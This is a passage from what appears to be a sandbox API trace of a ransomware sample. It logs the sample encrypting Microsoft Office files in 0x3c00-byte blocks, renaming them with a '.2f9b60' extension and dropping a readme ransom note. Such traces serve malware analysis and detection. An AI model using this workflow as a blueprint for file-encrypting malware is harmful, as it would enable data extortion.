Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1050) returned 1 Thread: id = 2152 os_tid = 0x1528 [0140.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt")) returned 0x20 [0140.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt", dwFileAttributes=0x20) returned 1 [0140.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fe0 [0141.246] GetFileSizeEx (in: hFile=0x1fe0, lpFileSize=0x3a4cf8a0 | out: lpFileSize=0x3a4cf8a0*=35768) returned 1 [0141.246] SetFilePointerEx (in: hFile=0x1fe0, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.246] ReadFile (in: hFile=0x1fe0, lpBuffer=0x3a4cf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a4cf868, lpOverlapped=0x0 | out: lpBuffer=0x3a4cf820*, lpNumberOfBytesRead=0x3a4cf868*=0x4, lpOverlapped=0x0) returned 1 [0141.264] SetFilePointerEx (in: hFile=0x1fe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0141.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf90 [0141.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0141.265] NtQuerySystemTime (in: CurrentTime=0x3a4cf760 | out: CurrentTime=0x3a4cf760*=132462177465070000) returned 0x0 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x5813740d [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x764f3548 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x7eeaedd3 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0xfa26ac6 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x33dce9b3 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x5d21c9e6 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x74c2c630 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x5a534169 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x69ab01b0 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x55249db [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x2234f406 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x49f34def [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x6b6a678 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x15c49159 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0xc1cfe42 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x4cb0b2e2 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x513d46a [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x7b089129 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x6c829e5 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x2199e6d5 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x6d6ec6d7 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x23beefbc [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x739fcd8a [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x6ccb9416 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x6bbbcd17 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x1f727ba8 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x1f04ef6d [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x371c74ef [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x50d358e0 [0141.265] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x84431ee [0141.266] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x7a198d7 [0141.266] RtlRandomEx (in: Seed=0x3a4cf750 | out: Seed=0x3a4cf750) returned 0x232dc4c5 [0141.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf30 [0141.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf60 [0141.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0141.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0141.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421c3100 [0141.276] SetFilePointerEx (in: hFile=0x1fe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.276] ReadFile (in: hFile=0x1fe0, lpBuffer=0x421c3100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a4cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x421c3100*, lpNumberOfBytesRead=0x3a4cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0141.282] SetFilePointerEx (in: hFile=0x1fe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0141.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d2140 [0141.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdfc0 [0141.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.283] WriteFile (in: hFile=0x1fe0, lpBuffer=0x421d2140*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a4cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x421d2140*, lpNumberOfBytesWritten=0x3a4cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d2140) returned 1 [0166.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421c3100) returned 1 [0166.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1d90 [0166.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978f0 [0166.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504610 [0166.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1df0 [0166.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1df0) returned 1 [0166.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1df0 [0166.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1dc0 [0166.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ca0 [0166.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ca0) returned 1 [0166.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0166.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0166.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16b30 [0166.137] SetFilePointerEx (in: hFile=0x1fe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.137] WriteFile (in: hFile=0x1fe0, lpBuffer=0x42c16b30*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3a4cf870, lpOverlapped=0x0 | out: lpBuffer=0x42c16b30*, lpNumberOfBytesWritten=0x3a4cf870*=0x108, lpOverlapped=0x0) returned 1 [0207.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0207.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0207.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261430) returned 1 [0207.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0xd6360 [0207.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0207.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d70 [0207.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d70) returned 1 [0207.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0207.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac720 [0207.557] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="ce") returned 2 [0207.557] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.557] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.557] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="64") returned 2 [0207.557] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.557] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.557] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.557] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="f7") returned 2 [0207.557] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.557] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.557] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="10") returned 2 [0207.557] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="55") returned 2 [0207.557] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="db") returned 2 [0207.557] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="80") returned 2 [0207.557] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.557] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="82") returned 2 [0207.557] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="86") returned 2 [0207.557] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="23") returned 2 [0207.557] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="96") returned 2 [0207.557] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.557] sprintf (in: _Dest=0x431ac748, _Format="%c%c" | out: _Dest="f3") returned 2 [0207.557] sprintf (in: _Dest=0x431ac74a, _Format="%c%c" | out: _Dest="92") returned 2 [0207.557] RtlInitAnsiString (in: DestinationString=0x3a4cf8e8, SourceString="ceb1f5643fd5d4f7f0ae1055db80f1828623969ff392" | out: DestinationString="ceb1f5643fd5d4f7f0ae1055db80f1828623969ff392") [0207.557] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a4cf8b8, SourceString="ceb1f5643fd5d4f7f0ae1055db80f1828623969ff392", AllocateDestinationString=1 | out: DestinationString="ceb1f5643fd5d4f7f0ae1055db80f1828623969ff392") returned 0x0 [0207.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e91a0 [0207.558] wcscat (in: _Dest=0x43145640, _Source="ceb1f5643fd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\ceb1f5643fd") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\ceb1f5643fd" [0207.558] wcscat (in: _Dest=0x43145640, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\ceb1f5643fd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\ceb1f5643fd.2f9b60" [0207.558] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\ceb1f5643fd.2f9b60", NtPathName=0x3a4cf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\ceb1f5643fd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x430fcda0 [0238.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fcda0) returned 1 [0238.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2950) returned 1 [0238.374] NtQueryInformationFile (in: FileHandle=0x1fe0, IoStatusBlock=0x3a4cf8f8, FileInformation=0x3a4cf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a4cf8f8, FileInformation=0x3a4cf908) returned 0x0 [0238.374] NtSetInformationFile (FileHandle=0x1fe0, IoStatusBlock=0x3a4cf8f8, FileInformation=0x3a4cf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145640) returned 1 [0241.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e91a0) returned 1 [0241.814] FlushFileBuffers (hFile=0x1fe0) returned 1 [0241.827] CloseHandle (hObject=0x1fe0) returned 1 [0242.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144bf0 [0242.969] wcscpy (in: _Dest=0x43144bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.969] wcscat (in: _Dest=0x43144bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0242.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0e70) returned 1 Thread: id = 2153 os_tid = 0x152c [0140.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml")) returned 0x20 [0140.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml", dwFileAttributes=0x20) returned 1 [0140.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1acc [0141.134] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x3a3df900 | out: lpFileSize=0x3a3df900*=253407) returned 1 [0141.134] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x3dddb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.134] ReadFile (in: hFile=0x1acc, lpBuffer=0x3a3df880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a3df8c8, lpOverlapped=0x0 | out: lpBuffer=0x3a3df880*, lpNumberOfBytesRead=0x3a3df8c8*=0x4, lpOverlapped=0x0) returned 1 [0141.147] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0141.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0141.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0141.148] NtQuerySystemTime (in: CurrentTime=0x3a3df7c0 | out: CurrentTime=0x3a3df7c0*=132462177463822000) returned 0x0 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x6a5c0cd [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x432610d2 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x55d59943 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x3c59066e [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x7889d9cd [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x339876f0 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x329d02f4 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x6b4a8332 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x6a7824d2 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x404133bd [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x1846d753 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x4f767fe4 [0141.148] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x77146869 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x5f979a8 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x6b347d06 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x3624db72 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x49331076 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x7b6a5c70 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x2090a851 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x52857fd2 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x6b7ed7d9 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x604f1158 [0141.149] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x27a89e76 [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x7628806b [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0xfbdfcab [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x38dca18d [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x413236d4 [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x7ca3d2 [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x65c5cd98 [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x4b102fe6 [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x383bf863 [0141.150] RtlRandomEx (in: Seed=0x3a3df7b0 | out: Seed=0x3a3df7b0) returned 0x3126f82d [0141.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0141.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0141.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0141.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0141.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e89a0 [0141.161] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.161] ReadFile (in: hFile=0x1acc, lpBuffer=0x421e89a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a3df820, lpOverlapped=0x0 | out: lpBuffer=0x421e89a0*, lpNumberOfBytesRead=0x3a3df820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.166] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb40 [0141.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb40) returned 1 [0141.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ec5b0 [0141.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb40 [0141.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0141.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0141.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.167] WriteFile (hFile=0x1acc, lpBuffer=0x421ec5b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a3df820, lpOverlapped=0x0) [0180.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ec5b0) returned 1 [0180.214] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.214] ReadFile (in: hFile=0x1acc, lpBuffer=0x421e89a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a3df820, lpOverlapped=0x0 | out: lpBuffer=0x421e89a0*, lpNumberOfBytesRead=0x3a3df820*=0x3c00, lpOverlapped=0x0) returned 1 [0182.177] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f3f0 [0182.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f3f0) returned 1 [0182.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202485a0 [0182.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f3f0 [0182.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f420 [0182.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f420) returned 1 [0182.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.181] WriteFile (in: hFile=0x1acc, lpBuffer=0x202485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a3df820, lpOverlapped=0x0 | out: lpBuffer=0x202485a0*, lpNumberOfBytesWritten=0x3a3df820*=0x3c00, lpOverlapped=0x0) returned 1 [0198.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202485a0) returned 1 [0198.754] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.754] ReadFile (in: 